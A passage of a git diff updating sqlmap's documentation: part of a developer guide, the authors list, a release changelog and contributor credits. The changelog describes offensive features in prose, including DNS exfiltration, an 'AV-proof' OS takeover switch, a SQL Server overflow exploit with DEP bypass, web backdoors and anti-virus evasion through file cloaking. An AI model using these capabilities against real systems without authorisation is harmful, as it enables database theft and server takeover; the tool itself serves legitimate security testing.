(`/task/*`, `/option/*`, `/scan/*`, `/version`, ...). +The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`. + +`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`) +that the `/scan//data` endpoint uses, so the CLI report and the API result can't +drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer). + +--- + +## 11. Tests and self-tests + +Two complementary layers: + +- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip), + green on py2 + py3. `_testutils.py` bootstraps global state and provides the + property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run: + `python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc` + makes a `getFileType(__file__)` doctest see `binary`). +- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test` + (doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against + the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow + (`.github/workflows/tests.yml`) runs all of these. + +--- + +## 12. "Where do I start for ...?" + +| I want to change... | Start in | +|---------------------|----------| +| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) | +| a constant/threshold | `lib/core/settings.py` | +| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` | +| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine | +| the true/false decision | `lib/request/comparison.py` | +| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms//` | +| enumeration behavior | `plugins/generic/*.py` | +| dump/output format | `lib/core/dump.py` | +| a WAF-bypass transform | add a file under `tamper/` | +| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) | +| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` | +| a stdlib monkey-patch / security shim | `lib/core/patch.py` | diff --git a/doc/AUTHORS b/doc/AUTHORS index d3758d676d3..300711a3a14 100644 --- a/doc/AUTHORS +++ b/doc/AUTHORS @@ -1,7 +1,7 @@ -Bernardo Damele Assumpcao Guimaraes (@inquisb) - - -Miroslav Stampar (@stamparm) - - -You can contact both developers by writing to dev@sqlmap.org +Bernardo Damele Assumpcao Guimaraes (@inquisb) + + +Miroslav Stampar (@stamparm) + + +You can contact both developers by writing to dev@sqlmap.org diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e656280cc38..dada8fb47e0 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,14 +1,62 @@ -# Version 1.0 (upcoming) +# Version 1.10 (2026-01-01) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/11?closed=1) + +# Version 1.9 (2025-01-02) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/10?closed=1) + +# Version 1.8 (2024-01-03) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.7...1.8) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/9?closed=1) + +# Version 1.7 (2023-01-02) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1) + +# Version 1.6 (2022-01-03) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/7?closed=1) + +# Version 1.5 (2021-01-03) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.4...1.5) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/6?closed=1) + +# Version 1.4 (2020-01-01) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1) + +# Version 1.3 (2019-01-05) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1) + +# Version 1.2 (2018-01-08) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1) + +# Version 1.1 (2017-04-07) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1) + +# Version 1.0 (2016-02-27) * Implemented support for automatic decoding of page content through detected charset. * Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.). * Major improvements to program stabilization based on user reports. -* Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms. -* Added support for setting Tor proxy type together with port. +* Added new tampering scripts avoiding popular WAF/IPS mechanisms. * Fixed major bug with DNS leaking in Tor mode. * Added wordlist compilation made of the most popular cracking dictionaries. -* Added support for mnemonics substantially helping user with program setup. -* Implemented multi-processor hash cracking routine(s) on Linux OS. +* Implemented multi-processor hash cracking routine(s). * Implemented advanced detection techniques for inband and time-based injections by usage of standard deviation method. * Old resume files are now deprecated and replaced by faster SQLite based session mechanism. * Substantial code optimization and smaller memory footprint. @@ -25,12 +73,75 @@ * Added option `--csv-del` for manually setting delimiting character used in CSV output. * Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval. * Added switch `--smart` for conducting through tests only in case of positive heuristic(s). -* Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection. +* Added switch `--check-waf` for checking of existence of WAF/IPS protection. * Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables. * Added switch `--count` to count the number of entries for a specific table or all database(s) tables. -* Major improvements to switches --tables and --columns. -* Takeover switch --os-pwn improved: stealthier, faster and AV-proof. -* Added switch --mobile to imitate a mobile device through HTTP User-Agent header. +* Major improvements to switches `--tables` and `--columns`. +* Takeover switch `--os-pwn` improved: stealthier, faster and AV-proof. +* Added switch `--mobile` to imitate a mobile device through HTTP User-Agent header. +* Added switch `-a` to enumerate all DBMS data. +* Added option `--alert` to run host OS command(s) when SQL injection is found. +* Added option `--answers` to set user answers to asked questions during sqlmap run. +* Added option `--auth-file` to set HTTP authentication PEM cert/private key file. +* Added option `--charset` to force character encoding used during data retrieval. +* Added switch `--check-tor` to force checking of proper usage of Tor. +* Added option `--code` to set HTTP code to match when query is evaluated to True. +* Added option `--cookie-del` to set character to be used while splitting cookie values. +* Added option `--crawl` to set the crawling depth for the website starting from the target URL. +* Added option `--crawl-exclude` for setting regular expression for excluding pages from crawling (e.g. `"logout"`). +* Added option `--csrf-token` to set the parameter name that is holding the anti-CSRF token. +* Added option `--csrf-url` for setting the URL address for extracting the anti-CSRF token. +* Added option `--csv-del` for setting the delimiting character that will be used in CSV output (default `,`). +* Added option `--dbms-cred` to set the DBMS authentication credentials (user:password). +* Added switch `--dependencies` for turning on the checking of missing (non-core) sqlmap dependencies. +* Added switch `--disable-coloring` to disable console output coloring. +* Added option `--dns-domain` to set the domain name for usage in DNS exfiltration attack(s). +* Added option `--dump-format` to set the format of dumped data (`CSV` (default), `HTML` or `SQLITE`). +* Added option `--eval` for setting the Python code that will be evaluated before the request. +* Added switch `--force-ssl` to force usage of SSL/HTTPS. +* Added switch `--hex` to force usage of DBMS hex function(s) for data retrieval. +* Added option `-H` to set extra HTTP header (e.g. `"X-Forwarded-For: 127.0.0.1"`). +* Added switch `-hh` for showing advanced help message. +* Added option `--host` to set the HTTP Host header value. +* Added switch `--hostname` to turn on retrieval of DBMS server hostname. +* Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method. +* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection. +* Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized). +* Added switch `--invalid-bignum` for usage of big numbers while invalidating values. +* Added switch `--invalid-logical` for usage of logical operations while invalidating values. +* Added switch `--invalid-string` for usage of random strings while invalidating values. +* Added option `--load-cookies` to set the file containing cookies in Netscape/wget format. +* Added option `-m` to set the textual file holding multiple targets for scanning purposes. +* Added option `--method` to force usage of provided HTTP method (e.g. `PUT`). +* Added switch `--no-cast` for turning off payload casting mechanism. +* Added switch `--no-escape` for turning off string escaping mechanism. +* Added option `--not-string` for setting string to be matched when query is evaluated to False. +* Added switch `--offline` to force work in offline mode (i.e. only use session data). +* Added option `--output-dir` to set custom output directory path. +* Added option `--param-del` to set character used for splitting parameter values. +* Added option `--pivot-column` to set column name that will be used while dumping tables by usage of pivot(ing). +* Added option `--proxy-file` to set file holding proxy list. +* Added switch `--purge-output` to turn on safe removal of all content(s) from output directory. +* Added option `--randomize` to set parameter name(s) that will be randomly changed during sqlmap run. +* Added option `--safe-post` to set POST data for sending to safe URL. +* Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL. +* Added option `--skip` to skip testing of given parameter(s). +* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic. +* Added switch `--skip-urlencode` to skip URL encoding of payload data. +* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection. +* Added switch `--smart` to conduct thorough tests only if positive heuristic(s). +* Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi). +* Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt. +* Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`). +* Added option `--test-skip` for skipping tests by payloads and/or titles (e.g. `BENCHMARK`). +* Added switch `--titles` to turn on comparison of pages based only on their titles. +* Added option `--tor-port` to explicitly set Tor proxy port. +* Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`). +* Added option `--union-from` to set table to be used in `FROM` part of UNION query SQL injection. +* Added option `--where` to set `WHERE` condition to be used during the table dumping. +* Added option `-X` to exclude DBMS database table column(s) from enumeration. +* Added option `-x` to set URL of sitemap(.xml) for target(s) parsing. +* Added option `-z` for usage of short mnemonics (e.g. `"flu,bat,ban,tec=EU"`). # Version 0.9 (2011-04-10) @@ -43,7 +154,7 @@ * Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s), option `--search`. * Added support to tamper injection data with option `--tamper`. * Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack. -* Added support to enumerate roles on Oracle, --roles switch. +* Added support to enumerate roles on Oracle, `--roles` switch. * Added support for SOAP based web services requests. * Added support to fetch unicode data. * Added support to use persistent HTTP(s) connection for speed improvement, switch `--keep-alive`. @@ -88,18 +199,18 @@ * Major bugs fixed. * Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack. * Major code cleanup. -* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus softwares that mistakenly mark sqlmap as a malware. +* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware. * Updated user's manual. -* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from http://sqlmap.org/demo.html. +* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html. # Version 0.8 release candidate (2009-09-21) -* Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection. +* Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. -* Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output. -* Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified. +* Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query output. +* Minor enhancement to save the session by default in 'output/hostname/session' file if `-s` option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring. @@ -108,13 +219,13 @@ * Adapted Metasploit wrapping functions to work with latest 3.3 development version too. * Adjusted code to make sqlmap 0.7 to work again on Mac OSX too. -* Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or --os-bof is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too. +* Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too. * Minor improvement so that sqlmap tests also all parameters with no value (eg. par=). * HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+. * Major bug fix to sql-query/sql-shell features. -* Major bug fix in --read-file option. +* Major bug fix in `--read-file` option. * Major silent bug fix to multi-threading functionality. -* Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and --os-shell is provided. +* Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is provided. * Fixed MySQL 'comment injection' version fingerprint. * Fixed basic Microsoft SQL Server 2000 fingerprint. * Many minor bug fixes and code refactoring. @@ -136,32 +247,32 @@ * Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the difflib Sequence Matcher object; * Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology; * Major speed increase in DBMS basic fingerprint; -* Minor enhancement to support an option (--is-dba) to show if the current user is a database management system administrator; -* Minor enhancement to support an option (--union-tech) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing; -* Added internal support to forge CASE statements, used only by --is-dba query at the moment; -* Minor layout adjustment to the --update output; +* Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system administrator; +* Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing; +* Added internal support to forge CASE statements, used only by `--is-dba` query at the moment; +* Minor layout adjustment to the `--update` output; * Increased default timeout to 30 seconds; * Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle; * Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable; * Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL Server; -* Minor bug fix to make the --postfix work even if --prefix is not provided; +* Minor bug fix to make the `--postfix` work even if `--prefix` is not provided; * Updated documentation. # Version 0.6.3 (2008-12-18) * Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path by providing option -l ; * Major enhancement to support Partial UNION query SQL injection technique too; -* Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option --stacked-test which will be then used someday also by takeover functionality; -* Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option --time-test; +* Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option `--stacked-test` which will be then used someday also by takeover functionality; +* Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option `--time-test`; * Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some HTTP response headers; * Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is provided; -* Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option --timeout #, default is set to 10 seconds and must be 3 or higher; -* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option --delay #; -* Minor enhancement to be able to get the injection payload --prefix and --postfix from user; +* Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option `--timeout #`, default is set to 10 seconds and must be 3 or higher; +* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option `--delay #`; +* Minor enhancement to be able to get the injection payload `--prefix` and `--postfix` from user; * Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle; -* Minor enhancemet to support also --regexp, --excl-str and --excl-reg options rather than only --string when comparing HTTP responses page content; -* Minor enhancement to be able to specify extra HTTP headers by providing option --headers. By default Accept, Accept-Language and Accept-Charset headers are set; -* Minor improvement to be able to provide CU (as current user) as user value (-U) when enumerating users privileges or users passwords; +* Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when comparing HTTP responses page content; +* Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept, Accept-Language and Accept-Charset headers are set; +* Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or users passwords; * Minor improvements to sqlmap Debian package files; * Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap algorithmic operations; * Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to the target url; @@ -175,10 +286,10 @@ # Version 0.6.2 (2008-11-02) -* Major bug fix to correctly dump tables entries when --stop is not specified; +* Major bug fix to correctly dump tables entries when `--stop` is not specified; * Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0; * Major bug fix when the request is POST to also send the GET parameters if any have been provided; -* Major bug fix to correctly update sqlmap to the latest stable release with command line --update; +* Major bug fix to correctly update sqlmap to the latest stable release with command line `--update`; * Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its resumed value from the session file is a string or a binary file, the query is executed again and its new output saved to the session file; * Minor bug fix in MySQL comment injection fingerprint technique; * Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the database name is not 'public' schema or a system database; @@ -191,20 +302,20 @@ * Major bug fix to blind SQL injection bisection algorithm to handle an exception; * Added a Metasploit Framework 3 auxiliary module to run sqlmap; * Implemented possibility to test for and inject also on LIKE statements; -* Implemented --start and --stop options to set the first and the last table entry to dump; -* Added non-interactive/batch-mode (--batch) option to make it easy to wrap sqlmap in Metasploit and any other tool; +* Implemented `--start` and `--stop` options to set the first and the last table entry to dump; +* Added non-interactive/batch-mode (`--batch`) option to make it easy to wrap sqlmap in Metasploit and any other tool; * Minor enhancement to save also the length of query output in the session file when retrieving the query output length for ETA or for resume purposes; * Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are stored in the tables, not forcing the entries' order alphabetically anymore; -* Minor bug fix to correctly handle parameters' value with % character. +* Minor bug fix to correctly handle parameters' value with `%` character. # Version 0.6 (2008-09-01) * Complete code refactor and many bugs fixed; * Added multithreading support to set the maximum number of concurrent HTTP requests; -* Implemented SQL shell (--sql-shell) functionality and fixed SQL query (--sql-query, before called -e) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack; -* Added an option (--privileges) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator; -* Added support (-c) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (--save) to save command line options on a configuration file; -* Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with --update option; +* Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack; +* Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator; +* Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (`--save`) to save command line options on a configuration file; +* Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with `--update` option; * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) installation binary packages; * Created sqlmap .exe (Windows) portable executable; * Save a lot of more information to the session file, useful when resuming injection on the same target to not loose time on identifying injection, UNION fields and back-end DBMS twice or more times; @@ -216,8 +327,8 @@ * Improved XML files structure; * Implemented the possibility to change the HTTP Referer header; * Added support to resume from session file also when running with inband SQL injection attack; -* Added an option (--os-shell) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root; -* Added a check to assure that the provided string to match (--string) is within the page content; +* Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root; +* Added a check to assure that the provided string to match (`--string`) is within the page content; * Fixed various queries in XML file; * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted the library to parse it; * Fixed password fetching function, mainly for Microsoft SQL Server and reviewed the password hashes parsing function; @@ -225,7 +336,7 @@ * Enhanced logging system: added three more levels of verbosity to show also HTTP sent and received traffic; * Enhancement to handle Set-Cookie from target url and automatically re-establish the Session when it expires; * Added support to inject also on Set-Cookie parameters; -* Implemented TAB completion and command history on both --sql-shell and --os-shell; +* Implemented TAB completion and command history on both `--sql-shell` and `--os-shell`; * Renamed some command line options; * Added a conversion library; * Added code schema and reminders for future developments; @@ -237,19 +348,19 @@ # Version 0.5 (2007-11-04) * Added support for Oracle database management system -* Extended inband SQL injection functionality (--union-use) to all other possible queries since it only worked with -e and --file on all DMBS plugins; +* Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked with `-e` and `--file` on all DMBS plugins; * Added support to extract database users password hash on Microsoft SQL Server; * Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting; * Added support for SQL injection on HTTP Cookie and User-Agent headers; -* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Splitted getValue() into getInband() and getBlind(); +* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind(); * Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack; -* Implemented --dump-all functionality to dump entire DBMS data from all databases tables; -* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (--exclude-sysdbs); +* Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables; +* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`); * Implemented in Dump.dbTableValues() method the CSV file dumped data automatic saving in csv/ folder by default; * Added DB2, Informix and Sybase DBMS error messages and minor improvements in xml/errors.xml; * Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/ column are specified to be dumped; * Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py; -* Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (-g); +* Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (`-g`); * Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank spaces; * More minor layout enhancements in some libraries; * Renamed DMBS plugins; @@ -260,21 +371,21 @@ * Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file defining default error messages for each supported DBMS; * Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS; -* Added support for query ETA (Estimated Time of Arrival) real time calculation (--eta); -* Added support to extract database management system users password hash on MySQL and PostgreSQL (--passwords); -* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ; -* Implemented Google dorking feature (-g) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS; +* Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`); +* Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`); +* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ; +* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS; * Improved logging functionality: passed from banal 'print' to Python native logging library; -* Added support for more than one parameter in '-p' command line option; -* Added support for HTTP Basic and Digest authentication methods (--basic-auth and --digest-auth); -* Added the command line option '--remote-dbms' to manually specify the remote DBMS; -* Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters ('--' and '#') in UNION query statements; -* Added the possibility to save the output into a file while performing the queries (-o OUTPUTFILE) so it is possible to stop and resume the same query output retrieving in a second time (--resume); -* Added support to specify the database table column to enumerate (-C COL); -* Added inband SQL injection (UNION query) support (--union-use); +* Added support for more than one parameter in `-p` command line option; +* Added support for HTTP Basic and Digest authentication methods (`--basic-auth` and `--digest-auth`); +* Added the command line option `--remote-dbms` to manually specify the remote DBMS; +* Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters (`--` and `#`) in UNION query statements; +* Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible to stop and resume the same query output retrieving in a second time (`--resume`); +* Added support to specify the database table column to enumerate (`-C COL`); +* Added inband SQL injection (UNION query) support (`--union-use`); * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; * Reviewed the directory tree structure; -* Splitted lib/common.py: inband injection functionalities now are moved to lib/union.py; +* Split lib/common.py: inband injection functionalities now are moved to lib/union.py; * Updated documentation files. # Version 0.3 (2007-01-20) @@ -282,10 +393,10 @@ * Added module for MS SQL Server; * Strongly improved MySQL dbms active fingerprint and added MySQL comment injection check; * Added PostgreSQL dbms active fingerprint; -* Added support for string match (--string); -* Added support for UNION check (--union-check); +* Added support for string match (`--string`); +* Added support for UNION check (`--union-check`); * Removed duplicated code, delegated most of features to the engine in common.py and option.py; -* Added support for --data command line argument to pass the string for POST requests; +* Added support for `--data` command line argument to pass the string for POST requests; * Added encodeParams() method to encode url parameters before making http request; * Many bug fixes; * Rewritten documentation files; diff --git a/doc/FAQ.pdf b/doc/FAQ.pdf deleted file mode 100644 index d0a91bdb354..00000000000 Binary files a/doc/FAQ.pdf and /dev/null differ diff --git a/doc/README.pdf b/doc/README.pdf deleted file mode 100644 index a3ddc647abc..00000000000 Binary files a/doc/README.pdf and /dev/null differ diff --git a/doc/THANKS.md b/doc/THANKS.md index 70fc9741035..aa636fdeb20 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -109,9 +109,15 @@ Alessandro Curio, Alessio Dalla Piazza, * for reporting a couple of bugs +Alexis Danizan, +* for contributing support for ClickHouse + Sherif El-Deeb, * for reporting a minor bug +Thomas Etrillard, +* for contributing the IBM DB2 error-based payloads (RAISE_ERROR) + Stefano Di Paola, * for suggesting good features @@ -139,7 +145,7 @@ Jim Forster, * for reporting a bug Rong-En Fan, -* for commiting the sqlmap 0.5 port to the official FreeBSD project repository +* for committing the sqlmap 0.5 port to the official FreeBSD project repository Giorgio Fedon, * for suggesting a speed improvement for bisection algorithm @@ -148,11 +154,6 @@ Giorgio Fedon, Kasper Fons, * for reporting several bugs -Jose Fonseca, -* for his Gprof2Dot utility for converting profiler output to dot graph(s) and for his XDot utility to render nicely dot graph(s), both included in sqlmap tree inside extra folder. These libraries are used for sqlmap development purposes only - http://code.google.com/p/jrfonseca/wiki/Gprof2Dot - http://code.google.com/p/jrfonseca/wiki/XDot - Alan Franzoni, * for helping out with Python subprocess library @@ -174,7 +175,7 @@ Ivan Giacomelli, * for reviewing the documentation Dimitris Giannitsaros, -* for contributing a REST-JSON API client +* for contributing a REST API client Nico Golde, * for reporting a couple of bugs @@ -193,16 +194,13 @@ David Guimaraes, * for reporting considerable amount of bugs * for suggesting several features -Chris Hall, -* for coding the prettyprint.py library - Tate Hansen, * for donating to sqlmap development Mario Heiderich, Christian Matthies, Lars H. Strojny, -* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, http://php-ids.org +* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, https://github.com/PHPIDS/PHPIDS Kristian Erik Hermansen, * for reporting a bug @@ -317,6 +315,9 @@ Michael Majchrowicz, Vinícius Henrique Marangoni, * for contributing a Portuguese translation of README.md +Francesco Marano, +* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload + Ahmad Maulana, * for contributing a tamper script halfversionedmorekeywords.py @@ -486,6 +487,9 @@ Marek Sarvas, Philippe A. R. Schaeffer, * for reporting a minor bug +Henri Salo +* for a donation + Mohd Zamiri Sanin, * for reporting a minor bug @@ -528,6 +532,9 @@ Duarte Silva M Simkin, * for suggesting a feature +Tanaydin Sirin, +* for implementation of ncurses TUI (switch --tui) + Konrads Smelkovs, * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server @@ -562,9 +569,12 @@ Kazim Bugra Tombul, * for reporting a minor bug Efrain Torres, -* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for commiting it on the Metasploit official subversion repository +* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository * for his great Metasploit WMAP Framework +Jennifer Torres, +* for contributing a tamper script luanginx.py + Sandro Tosi, * for helping to create sqlmap Debian package correctly @@ -597,6 +607,7 @@ Carlos Gabriel Vergara, Patrick Webster, * for suggesting an enhancement +* for donating to sqlmap development (from OSI.Security) Ed Williams, * for suggesting a minor enhancement @@ -612,6 +623,9 @@ Thierry Zoller, Zhen Zhou, * for suggesting a feature +Zakaria Zoulati, +* for contributing SAP HANA support + -insane-, * for reporting a minor bug @@ -726,6 +740,9 @@ rmillet, Rub3nCT, * for reporting a minor bug +sapra, +* for helping out with Python multiprocessing library on MacOS + shiftzwei, * for reporting a couple of bugs @@ -760,6 +777,12 @@ ultramegaman, Vinicius, * for reporting a minor bug +virusdefender +* for contributing WAF scripts safeline.py + +w8ay +* for contributing an implementation for chunked transfer-encoding (switch --chunked) + wanglei, * for reporting a minor bug diff --git 